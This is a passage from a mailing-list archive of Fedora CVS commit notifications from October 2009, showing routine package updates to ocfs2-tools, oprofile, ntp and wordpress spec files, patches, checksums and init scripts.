+* Tue Sep 15 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.2-4
+- Add pcmk resource agent.
+
+* Thu Sep  3 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.2-3
+- Fix pcmk and cman Requires.
+
+* Wed Sep  2 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.2-2
+- Fix udev rule packaging
+
+* Mon Aug 31 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.2-1
+- New upstream release
+- Undefine alpha tag
+- Add patch to fix 2 minor build glitches
+- Add Requires: redhat-lsb for init scripts
+- Update BuildRequires to enable all features
+- Add ocfs2-tools-{cman,pcmk} packages with respective control daemons
+- Install udev rule
+- Update file lists
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.9-11.20080221git
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.9-10.20080221git
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 1.3.9-9.20080221git
+- Rebuild for Python 2.6
+
 * Thu Jun 19 2008 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.3.9-8.20080221git
 - Make alpha tag optional
 - Use package names rather than files for Requires


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocfs2-tools/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	18 Apr 2008 18:52:22 -0000	1.2
+++ sources	21 Oct 2009 13:58:38 -0000	1.3
@@ -1 +1 @@
-150346c30891caa4273849f23fdc1a08  ocfs2-tools-1.3.9.tar.gz
+7d8895ea41999ce8f468e2bc7dc55ddc  ocfs2-tools-1.4.3.tar.gz



From wcohen at fedoraproject.org  Wed Oct 21 14:09:25 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Wed, 21 Oct 2009 14:09:25 +0000 (UTC)
Subject: rpms/oprofile/devel oprofile.spec,1.83,1.84
Message-ID: <20091021140925.8820D11C0266@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/oprofile/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20342

Modified Files:
	oprofile.spec 
Log Message:
* Wed Oct 21 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-4
- Switch to using ExcludeArch.




Index: oprofile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/oprofile/devel/oprofile.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- oprofile.spec	8 Oct 2009 00:17:43 -0000	1.83
+++ oprofile.spec	21 Oct 2009 14:09:25 -0000	1.84
@@ -1,7 +1,7 @@
 Summary: System wide profiler
 Name: oprofile
 Version: 0.9.5
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2
 Group: Development/System
 #
@@ -17,7 +17,8 @@ Patch105: oprofile-0.9.5-timer.patch
 
 URL: http://oprofile.sf.net
 
-ExclusiveArch: %{ix86} ia64 x86_64 ppc ppc64 s390 s390x alpha alphaev6 sparcv9 sparc64
+#ExclusiveArch: %{ix86} ia64 x86_64 ppc ppc64 s390 s390x alpha alphaev6 sparcv9 sparc64 %{arm}
+#If oprofile doesn't build on an arch, report it and will add ExcludeArch tag.
 BuildRequires: qt3-devel
 BuildRequires: libxslt
 BuildRequires: docbook-style-xsl
@@ -230,6 +231,9 @@ exit 0
 /etc/ld.so.conf.d/*
 
 %changelog
+* Wed Oct 21 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-4
+- Switch to using ExcludeArch.
+
 * Wed Oct 7 2009 Will Cohen <wcohen at redhat.com> - 0.9.5-3
 - Allow timer mode to work.
 - Correct location for addditional files in man pages. Resolves: rhbz #508669



From mlichvar at fedoraproject.org  Wed Oct 21 14:12:11 2009
From: mlichvar at fedoraproject.org (Miroslav Lichvar)
Date: Wed, 21 Oct 2009 14:12:11 +0000 (UTC)
Subject: rpms/ntp/devel ntp-4.2.4-html2man.patch, 1.4,
	1.5 ntp-4.2.4p5-htmldoc.patch, 1.2, 1.3 ntp.spec, 1.95,
	1.96 ntpd.init, 1.28, 1.29 ntpdate.init, 1.2, 1.3
Message-ID: <20091021141211.CFBF711C00E8@cvs1.fedora.phx.redhat.com>

Author: mlichvar

Update of /cvs/pkgs/rpms/ntp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21054

Modified Files:
	ntp-4.2.4-html2man.patch ntp-4.2.4p5-htmldoc.patch ntp.spec 
	ntpd.init ntpdate.init 
Log Message:
- add ntp-wait man page (#526161)
- fix init scripts (#527987)


ntp-4.2.4-html2man.patch:
 html2man.in |  103 +++++++++++++++++++++++++++++++++++++++---------------------
 1 file changed, 68 insertions(+), 35 deletions(-)

Index: ntp-4.2.4-html2man.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ntp/devel/ntp-4.2.4-html2man.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- ntp-4.2.4-html2man.patch	29 Sep 2009 12:26:31 -0000	1.4
+++ ntp-4.2.4-html2man.patch	21 Oct 2009 14:12:11 -0000	1.5
@@ -1,12 +1,13 @@
 --- ntp-4.2.4/scripts/html2man.in.html2man	2006-06-06 22:17:10.000000000 +0200
 +++ ntp-4.2.4/scripts/html2man.in	2007-01-08 12:47:31.000000000 +0100
-@@ -23,10 +23,11 @@
+@@ -23,10 +23,12 @@ $MANDIR = "./man";
  	     'ntpq' => ['ntpq', 8, 'ntpd(8), ntpdc(8)'],
  	     'ntpdate' => ['ntpdate', 8, 'ntpd(8)'],
  	     'ntpdc' => ['ntpdc', 8, 'ntpd(8)'],
 -	     'ntptime' => ['ntpdtime', 8, 'ntpd(8), ntpdate(8)'],
 +	     'ntptime' => ['ntptime', 8, 'ntpd(8), ntpdate(8)'],
  	     'ntptrace' => ['ntptrace', 8, 'ntpd(8)'],
++	     'ntp-wait' => ['ntp-wait', 8, 'ntpd(8)'],
  	     'keygen' => ['ntp-keygen', 8, 'ntpd(8), ntp_auth(5)'],
 -	     'confopt' => ['ntp.conf', 5, 'ntpd(8)'],
 +	     'tickadj' => ['tickadj', 8, 'ntpd(8)'],

ntp-4.2.4p5-htmldoc.patch:
 ntp-4.2.4p5/html/authopt.html  |    4 ++--
 ntp-4.2.4p5/html/confopt.html  |    4 ++--
 ntp-4.2.4p5/html/keygen.html   |   10 ++++++----
 ntp-4.2.4p5/html/monopt.html   |   16 ++++------------
 ntp-4.2.4p5/html/ntpd.html     |   24 +++++++++++++++++-------
 ntp-4.2.4p5/html/ntpdate.html  |   16 ++++++++--------
 ntp-4.2.4p5/html/ntpdc.html    |   20 +++++++++++---------
 ntp-4.2.4p5/html/ntpq.html     |   12 ++++++------
 ntp-4.2.4p5/html/ntptrace.html |   10 +---------
 ntp-4.2.4p7/html/ntp-wait.html |   32 ++++++++++++++++++++++++++++++++
 ntp-4.2.4p7/html/tickadj.html  |    6 ++++--
 11 files changed, 93 insertions(+), 61 deletions(-)

Index: ntp-4.2.4p5-htmldoc.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ntp/devel/ntp-4.2.4p5-htmldoc.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ntp-4.2.4p5-htmldoc.patch	29 Sep 2009 12:26:31 -0000	1.2
+++ ntp-4.2.4p5-htmldoc.patch	21 Oct 2009 14:12:11 -0000	1.3
@@ -113,6 +113,42 @@ diff -up ntp-4.2.4p5/html/monopt.html.ht
  							<dd>Enables or disables the recording function.
  						</dl>
  				</dl>
+diff -up ntp-4.2.4p7/html/ntp-wait.html.htmldoc ntp-4.2.4p7/html/ntp-wait.html
+--- ntp-4.2.4p7/html/ntp-wait.html.htmldoc	2009-10-21 15:33:41.000000000 +0200
++++ ntp-4.2.4p7/html/ntp-wait.html	2009-10-21 15:51:18.000000000 +0200
+@@ -0,0 +1,32 @@
++<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
++<html>
++	<head>
++		<meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
++		<meta name="generator" content="HTML Tidy, see www.w3.org">
++		<title>ntp-wait - waits until ntpd is in synchronized state</title>
++		<link href="scripts/style.css" type="text/css" rel="stylesheet">
++	</head>
++	<body>
++		<h3><tt>ntp-wait</tt> - waits until ntpd is in synchronized state</h3>
++		<hr>
++		<h4>Synopsis</h4>
++		<p><tt>ntp-wait [ -fv ] [ -n <i>tries</i> ] [ -s <i>seconds</i> ]</tt></p>
++		<h4>Description</h4>
++		<p>The <tt>ntp-wait</tt> program blocks until ntpd is in synchronized state.
++		This can be useful at boot time, to delay the boot sequence
++		until after "ntpd -g" has set the time.
++		<h4>Command Line Options</h4>
++		<dl>
++			<dt><tt>-f</tt>
++			<dd>Return a non-zero exit code if the state is unknown.
++			<dt><tt>-n <i>tries</i></tt>
++			<dd>Number of tries before giving up. The default is 1000.
++			<dt><tt>-s <i>seconds</i></tt>
++			<dd>Seconds to sleep between tries. The default is 6 seconds.
++			<dt><tt>-v</tt>
++			<dd>Be verbose.
++		</dl>
++		<script type="text/javascript" language="javascript" src="scripts/footer.txt"></script>
++	</body>
++
++</html>
 diff -up ntp-4.2.4p5/html/ntpd.html.htmldoc ntp-4.2.4p5/html/ntpd.html
 --- ntp-4.2.4p5/html/ntpd.html.htmldoc	2006-12-28 13:02:57.000000000 +0100
 +++ ntp-4.2.4p5/html/ntpd.html	2008-08-18 12:31:59.000000000 +0200


Index: ntp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ntp/devel/ntp.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- ntp.spec	29 Sep 2009 12:26:31 -0000	1.95
+++ ntp.spec	21 Oct 2009 14:12:11 -0000	1.96
@@ -1,7 +1,7 @@
 Summary: The NTP daemon and utilities
 Name: ntp
 Version: 4.2.4p7
-Release: 6%{?dist}
+Release: 7%{?dist}
 # primary license (COPYRIGHT) : MIT
 # ElectricFence/ (not used) : GPLv2
 # kernel/sys/ppsclock.h (not used) : BSD with advertising
@@ -352,6 +352,7 @@ fi
 %defattr(-,root,root)
 %{_sbindir}/ntp-wait
 %{_sbindir}/ntptrace
+%{_mandir}/man8/ntp-wait.8*
 %{_mandir}/man8/ntptrace.8*
 
 %files -n ntpdate
@@ -369,6 +370,10 @@ fi
 %{ntpdocdir}/html
 
 %changelog
+* Wed Oct 21 2009 Miroslav Lichvar <mlichvar at redhat.com> 4.2.4p7-7
+- add ntp-wait man page (#526161)
+- fix init scripts (#527987)
+
 * Tue Sep 29 2009 Miroslav Lichvar <mlichvar at redhat.com> 4.2.4p7-6
 - generate tickadj man page (#526161)
 - fix precision calculation on fast CPUs


Index: ntpd.init
===================================================================
RCS file: /cvs/pkgs/rpms/ntp/devel/ntpd.init,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- ntpd.init	20 Apr 2009 11:44:54 -0000	1.28
+++ ntpd.init	21 Oct 2009 14:12:11 -0000	1.29
@@ -32,11 +32,9 @@ prog=ntpd
 lockfile=/var/lock/subsys/$prog
 
 start() {
-	# Check that networking is up.
+	[ "$EUID" != "0" ] && exit 4
 	[ "$NETWORKING" = "no" ] && exit 1
-
 	[ -x /usr/sbin/ntpd ] || exit 5
-
 	[ -f /etc/sysconfig/ntpd ] || exit 6
 	. /etc/sysconfig/ntpd
 
@@ -50,6 +48,7 @@ start() {
 }
 
 stop() {
+	[ "$EUID" != "0" ] && exit 4
         echo -n $"Shutting down $prog: "
 	killproc $prog
 	RETVAL=$?


Index: ntpdate.init
===================================================================
RCS file: /cvs/pkgs/rpms/ntp/devel/ntpdate.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ntpdate.init	7 Apr 2008 17:18:26 -0000	1.2
+++ ntpdate.init	21 Oct 2009 14:12:11 -0000	1.3
@@ -23,10 +23,9 @@ ntpconf=/etc/ntp.conf
 ntpstep=/etc/ntp/step-tickers
 
 start() {
+	[ "$EUID" != "0" ] && exit 4
 	[ "$NETWORKING" = "no" ] && exit 1
-
 	[ -x /usr/sbin/ntpdate ] || exit 5
-
 	[ -f /etc/sysconfig/ntpdate ] || exit 6
 	. /etc/sysconfig/ntpdate
 
@@ -63,6 +62,7 @@ status() {
 }
 
 stop() {
+	[ "$EUID" != "0" ] && exit 4
 	rm -f $lockfile
 }
 



From adrian at fedoraproject.org  Wed Oct 21 14:12:06 2009
From: adrian at fedoraproject.org (Adrian Reber)
Date: Wed, 21 Oct 2009 14:12:06 +0000 (UTC)
Subject: rpms/wordpress/F-12 .cvsignore, 1.27, 1.28 sources, 1.27,
	1.28 wordpress.spec, 1.35, 1.36
Message-ID: <20091021141206.7B3DA11C00E8@cvs1.fedora.phx.redhat.com>

Author: adrian

Update of /cvs/extras/rpms/wordpress/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21083

Modified Files:
	.cvsignore sources wordpress.spec 
Log Message:
* Wed Oct 21 2009 Adrian Reber <adrian at lisas.de> - 2.8.5-1
- updated to 2.8.5 (Hardening Release)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/wordpress/F-12/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	30 Aug 2009 14:12:15 -0000	1.27
+++ .cvsignore	21 Oct 2009 14:12:06 -0000	1.28
@@ -1 +1 @@
-wordpress-2.8.4.tar.gz
+wordpress-2.8.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/wordpress/F-12/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	30 Aug 2009 14:12:15 -0000	1.27
+++ sources	21 Oct 2009 14:12:06 -0000	1.28
@@ -1 +1 @@
-0e8b296d4e2d4189b349f1d0f727bd98  wordpress-2.8.4.tar.gz
+85f6a9c5f8ce88b784a9fda81303cbc1  wordpress-2.8.5.tar.gz


Index: wordpress.spec
===================================================================
RCS file: /cvs/extras/rpms/wordpress/F-12/wordpress.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- wordpress.spec	30 Aug 2009 14:12:15 -0000	1.35
+++ wordpress.spec	21 Oct 2009 14:12:06 -0000	1.36
@@ -1,7 +1,7 @@
 Summary: WordPress blogging software
 URL: http://www.wordpress.org
 Name: wordpress
-Version: 2.8.4
+Version: 2.8.5
 Group: Applications/Publishing
 Release: 1%{?dist}
 License: GPLv2
@@ -81,6 +81,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %dir %{_sysconfdir}/wordpress
 
 %changelog
+* Wed Oct 21 2009 Adrian Reber <adrian at lisas.de> - 2.8.5-1
+- updated to 2.8.5 (Hardening Release)
+
 * Sun Aug 30 2009 Adrian Reber <adrian at lisas.de> - 2.8.4-1
 - updated to 2.8.4 (security fixes were already available with 2.8.3-2)
 



From adrian at fedoraproject.org  Wed Oct 21 14:15:26 2009
From: adrian at fedoraproject.org (Adrian Reber)
Date: Wed, 21 Oct 2009 14:15:26 +0000 (UTC)
Subject: rpms/wordpress/F-11 .cvsignore, 1.26, 1.27 sources, 1.26,
	1.27 wordpress.spec, 1.33, 1.34
Message-ID: <20091021141526.D5E4311C00E8@cvs1.fedora.phx.redhat.com>

Author: adrian

Update of /cvs/extras/rpms/wordpress/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22416

Modified Files:
	.cvsignore sources wordpress.spec 
Log Message:
* Wed Oct 21 2009 Adrian Reber <adrian at lisas.de> - 2.8.5-1
- updated to 2.8.5 (Hardening Release)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/wordpress/F-11/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	30 Aug 2009 19:29:37 -0000	1.26
+++ .cvsignore	21 Oct 2009 14:15:26 -0000	1.27
@@ -1 +1 @@
-wordpress-2.8.4.tar.gz
+wordpress-2.8.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/wordpress/F-11/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	30 Aug 2009 19:29:37 -0000	1.26
+++ sources	21 Oct 2009 14:15:26 -0000	1.27
@@ -1 +1 @@
-0e8b296d4e2d4189b349f1d0f727bd98  wordpress-2.8.4.tar.gz
+85f6a9c5f8ce88b784a9fda81303cbc1  wordpress-2.8.5.tar.gz


Index: wordpress.spec
===================================================================
RCS file: /cvs/extras/rpms/wordpress/F-11/wordpress.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- wordpress.spec	30 Aug 2009 19:29:37 -0000	1.33
+++ wordpress.spec	21 Oct 2009 14:15:26 -0000	1.34
@@ -1,7 +1,7 @@
 Summary: WordPress blogging software
 URL: http://www.wordpress.org
 Name: wordpress
-Version: 2.8.4
+Version: 2.8.5
 Group: Applications/Publishing
 Release: 1%{?dist}
 License: GPLv2
@@ -81,6 +81,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %dir %{_sysconfdir}/wordpress
 
 %changelog
+* Wed Oct 21 2009 Adrian Reber <adrian at lisas.de> - 2.8.5-1
+- updated to 2.8.5 (Hardening Release)
+
 * Sun Aug 30 2009 Adrian Reber <adrian at lisas.de> - 2.8.4-1
 - updated to 2.8.4 (security fixes were already available with 2.8.3-2)
 



From adrian at fedoraproject.org  Wed Oct 21 14:19:44 2009
From: adrian at fedoraproject.org (Adrian Reber)
Date: Wed, 21 Oct 2009 14:19:44 +0000 (UTC)
Subject: rpms/wordpress/F-10 .cvsignore, 1.26, 1.27 sources, 1.26,
	1.27 wordpress.spec, 1.33, 1.34
Message-ID: <20091021141944.BE77911C00E8@cvs1.fedora.phx.redhat.com>

Author: adrian

Update of /cvs/extras/rpms/wordpress/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24226

Modified Files:
	.cvsignore sources wordpress.spec 
Log Message:
* Wed Oct 21 2009 Adrian Reber <adrian at lisas.de> - 2.8.5-1
- updated to 2.8.5 (Hardening Release)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/wordpress/F-10/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	30 Aug 2009 19:34:10 -0000	1.26
+++ .cvsignore	21 Oct 2009 14:19:44 -0000	1.27
@@ -1 +1 @@
-wordpress-2.8.4.tar.gz
+wordpress-2.8.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/wordpress/F-10/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	30 Aug 2009 19:34:10 -0000	1.26
+++ sources	21 Oct 2009 14:19:44 -0000	1.27
@@ -1 +1 @@
-0e8b296d4e2d4189b349f1d0f727bd98  wordpress-2.8.4.tar.gz
+85f6a9c5f8ce88b784a9fda81303cbc1  wordpress-2.8.5.tar.gz


Index: wordpress.spec
===================================================================
RCS file: /cvs/extras/rpms/wordpress/F-10/wordpress.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- wordpress.spec	30 Aug 2009 19:34:10 -0000	1.33
+++ wordpress.spec	21 Oct 2009 14:19:44 -0000	1.34
@@ -1,7 +1,7 @@
 Summary: WordPress blogging software
 URL: http://www.wordpress.org
 Name: wordpress
-Version: 2.8.4
+Version: 2.8.5
 Group: Applications/Publishing
 Release: 1%{?dist}
 License: GPLv2
@@ -81,6 +81,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %dir %{_sysconfdir}/wordpress
 
 %changelog
+* Wed Oct 21 2009 Adrian Reber <adrian at lisas.de> - 2.8.5-1
+- updated to 2.8.5 (Hardening Release)
+
 * Sun Aug 30 2009 Adrian Reber <adrian at lisas.de> - 2.8.4-1
 - updated to 2.8.4 (security fixes were already available with 2.8.3-2)
 



From adrian at fedoraproject.org  Wed Oct 21 14:24:14 2009
From: adrian at fedoraproject.org (Adrian Reber)
Date: Wed, 21 Oct 2009 14:24:14 +0000 (UTC)
Subject: rpms/wordpress/EL-5 .cvsignore, 1.25, 1.26 sources, 1.25,
	1.26 wordpress.spec, 1.32, 1.33
Message-ID: <20091021142414.E2B7E11C00E8@cvs1.fedora.phx.redhat.com>

Author: adrian

Update of /cvs/extras/rpms/wordpress/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25782

Modified Files:
	.cvsignore sources wordpress.spec 
Log Message:
* Wed Oct 21 2009 Adrian Reber <adrian at lisas.de> - 2.8.5-1
- updated to 2.8.5 (Hardening Release)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/wordpress/EL-5/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	30 Aug 2009 19:38:57 -0000	1.25
+++ .cvsignore	21 Oct 2009 14:24:14 -0000	1.26
@@ -1 +1 @@
-wordpress-2.8.4.tar.gz
+wordpress-2.8.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/wordpress/EL-5/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	30 Aug 2009 19:38:57 -0000	1.25
+++ sources	21 Oct 2009 14:24:14 -0000	1.26
@@ -1 +1 @@
-0e8b296d4e2d4189b349f1d0f727bd98  wordpress-2.8.4.tar.gz
+85f6a9c5f8ce88b784a9fda81303cbc1  wordpress-2.8.5.tar.gz


Index: wordpress.spec
===================================================================
RCS file: /cvs/extras/rpms/wordpress/EL-5/wordpress.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- wordpress.spec	30 Aug 2009 19:38:57 -0000	1.32
+++ wordpress.spec	21 Oct 2009 14:24:14 -0000	1.33
@@ -1,7 +1,7 @@
 Summary: WordPress blogging software
 URL: http://www.wordpress.org
 Name: wordpress
-Version: 2.8.4
+Version: 2.8.5
 Group: Applications/Publishing
 Release: 1%{?dist}
 License: GPLv2
@@ -81,6 +81,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %dir %{_sysconfdir}/wordpress
 
 %changelog
+* Wed Oct 21 2009 Adrian Reber <adrian at lisas.de> - 2.8.5-1
+- updated to 2.8.5 (Hardening Release)
+
 * Sun Aug 30 2009 Adrian Reber <adrian at lisas.de> - 2.8.4-1
 - updated to 2.8.4 (security fixes were already available with 2.8.3-2)
 



From mlichvar at fedoraproject.org  Wed Oct 21 14:24:55 2009
From: mlichvar at fedoraproject.org (Miroslav Lichvar)
Date: Wed, 21 Oct 2009 14:24:55 +0000 (UTC)
Subject: rpms/ntp/F-12 ntp-4.2.4p7-getprecision.patch, NONE,
	1.1 ntp-4.2.4-html2man.patch, 1.3, 1.4 ntp-4.2.4p5-htmldoc.patch,
	1.1, 1.2 ntp.spec, 1.94, 1.95 ntpd.init, 1.28, 1.29 ntpdate.init,
	1.2, 1.3
Message-ID: <20091021142455.65BBF11C00E8@cvs1.fedora.phx.redhat.com>

Author: mlichvar

Update of /cvs/pkgs/rpms/ntp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24769

Modified Files:
	ntp-4.2.4-html2man.patch ntp-4.2.4p5-htmldoc.patch ntp.spec 
	ntpd.init ntpdate.init 
Added Files:
	ntp-4.2.4p7-getprecision.patch 
Log Message:
- add ntp-wait man page (#526161)
- fix init scripts (#527987)
- generate tickadj man page (#526161)
- fix precision calculation on fast CPUs


ntp-4.2.4p7-getprecision.patch:
 ntp_proto.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE ntp-4.2.4p7-getprecision.patch ---
diff -up ntp-4.2.4p7/ntpd/ntp_proto.c.getprecision ntp-4.2.4p7/ntpd/ntp_proto.c
--- ntp-4.2.4p7/ntpd/ntp_proto.c.getprecision	2009-09-29 14:16:22.000000000 +0200
+++ ntp-4.2.4p7/ntpd/ntp_proto.c	2009-09-29 14:18:13.000000000 +0200
@@ -3099,7 +3099,7 @@ peer_unfit(
 /*
  * Find the precision of this particular machine
  */
-#define MINSTEP 100e-9		/* minimum clock increment (s) */
+#define MINSTEP 10e-9		/* minimum clock increment (s) */
 #define MAXSTEP 20e-3		/* maximum clock increment (s) */
 #define MINLOOPS 5		/* minimum number of step samples */
 

ntp-4.2.4-html2man.patch:
 html2man.in |  103 +++++++++++++++++++++++++++++++++++++++---------------------
 1 file changed, 68 insertions(+), 35 deletions(-)

Index: ntp-4.2.4-html2man.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ntp/F-12/ntp-4.2.4-html2man.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- ntp-4.2.4-html2man.patch	29 Jan 2007 13:33:45 -0000	1.3
+++ ntp-4.2.4-html2man.patch	21 Oct 2009 14:24:55 -0000	1.4
@@ -1,14 +1,16 @@
 --- ntp-4.2.4/scripts/html2man.in.html2man	2006-06-06 22:17:10.000000000 +0200
 +++ ntp-4.2.4/scripts/html2man.in	2007-01-08 12:47:31.000000000 +0100
-@@ -23,10 +23,10 @@
+@@ -23,10 +23,12 @@ $MANDIR = "./man";
  	     'ntpq' => ['ntpq', 8, 'ntpd(8), ntpdc(8)'],
  	     'ntpdate' => ['ntpdate', 8, 'ntpd(8)'],
  	     'ntpdc' => ['ntpdc', 8, 'ntpd(8)'],
 -	     'ntptime' => ['ntpdtime', 8, 'ntpd(8), ntpdate(8)'],
 +	     'ntptime' => ['ntptime', 8, 'ntpd(8), ntpdate(8)'],
  	     'ntptrace' => ['ntptrace', 8, 'ntpd(8)'],
++	     'ntp-wait' => ['ntp-wait', 8, 'ntpd(8)'],
  	     'keygen' => ['ntp-keygen', 8, 'ntpd(8), ntp_auth(5)'],
 -	     'confopt' => ['ntp.conf', 5, 'ntpd(8)'],
++	     'tickadj' => ['tickadj', 8, 'ntpd(8)'],
 +	     'confopt' => ['ntp.conf', 5, 'ntpd(8), ntp_auth(5), ntp_mon(5), ntp_acc(5), ntp_clock(5), ntp_misc(5)'],
  	     'authopt' => ['ntp_auth', 5, 'ntp.conf(5), ntpd(8)'],
  	     'monopt' => ['ntp_mon', 5, 'ntp.conf(5)'],

ntp-4.2.4p5-htmldoc.patch:
 ntp-4.2.4p5/html/authopt.html  |    4 ++--
 ntp-4.2.4p5/html/confopt.html  |    4 ++--
 ntp-4.2.4p5/html/keygen.html   |   10 ++++++----
 ntp-4.2.4p5/html/monopt.html   |   16 ++++------------
 ntp-4.2.4p5/html/ntpd.html     |   24 +++++++++++++++++-------
 ntp-4.2.4p5/html/ntpdate.html  |   16 ++++++++--------
 ntp-4.2.4p5/html/ntpdc.html    |   20 +++++++++++---------
 ntp-4.2.4p5/html/ntpq.html     |   12 ++++++------
 ntp-4.2.4p5/html/ntptrace.html |   10 +---------
 ntp-4.2.4p7/html/ntp-wait.html |   32 ++++++++++++++++++++++++++++++++
 ntp-4.2.4p7/html/tickadj.html  |    6 ++++--
 11 files changed, 93 insertions(+), 61 deletions(-)

Index: ntp-4.2.4p5-htmldoc.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ntp/F-12/ntp-4.2.4p5-htmldoc.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ntp-4.2.4p5-htmldoc.patch	29 Aug 2008 08:26:04 -0000	1.1
+++ ntp-4.2.4p5-htmldoc.patch	21 Oct 2009 14:24:55 -0000	1.2
@@ -113,6 +113,42 @@ diff -up ntp-4.2.4p5/html/monopt.html.ht
  							<dd>Enables or disables the recording function.
  						</dl>
  				</dl>
+diff -up ntp-4.2.4p7/html/ntp-wait.html.htmldoc ntp-4.2.4p7/html/ntp-wait.html
+--- ntp-4.2.4p7/html/ntp-wait.html.htmldoc	2009-10-21 15:33:41.000000000 +0200
++++ ntp-4.2.4p7/html/ntp-wait.html	2009-10-21 15:51:18.000000000 +0200
+@@ -0,0 +1,32 @@
++<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
++<html>
++	<head>
++		<meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
++		<meta name="generator" content="HTML Tidy, see www.w3.org">
++		<title>ntp-wait - waits until ntpd is in synchronized state</title>
++		<link href="scripts/style.css" type="text/css" rel="stylesheet">
++	</head>
++	<body>
++		<h3><tt>ntp-wait</tt> - waits until ntpd is in synchronized state</h3>
++		<hr>
++		<h4>Synopsis</h4>
++		<p><tt>ntp-wait [ -fv ] [ -n <i>tries</i> ] [ -s <i>seconds</i> ]</tt></p>
++		<h4>Description</h4>
++		<p>The <tt>ntp-wait</tt> program blocks until ntpd is in synchronized state.
++		This can be useful at boot time, to delay the boot sequence
++		until after "ntpd -g" has set the time.
++		<h4>Command Line Options</h4>
++		<dl>
++			<dt><tt>-f</tt>
++			<dd>Return a non-zero exit code if the state is unknown.
++			<dt><tt>-n <i>tries</i></tt>
++			<dd>Number of tries before giving up. The default is 1000.
++			<dt><tt>-s <i>seconds</i></tt>
++			<dd>Seconds to sleep between tries. The default is 6 seconds.
++			<dt><tt>-v</tt>
++			<dd>Be verbose.
++		</dl>
++		<script type="text/javascript" language="javascript" src="scripts/footer.txt"></script>
++	</body>
++
++</html>
 diff -up ntp-4.2.4p5/html/ntpd.html.htmldoc ntp-4.2.4p5/html/ntpd.html
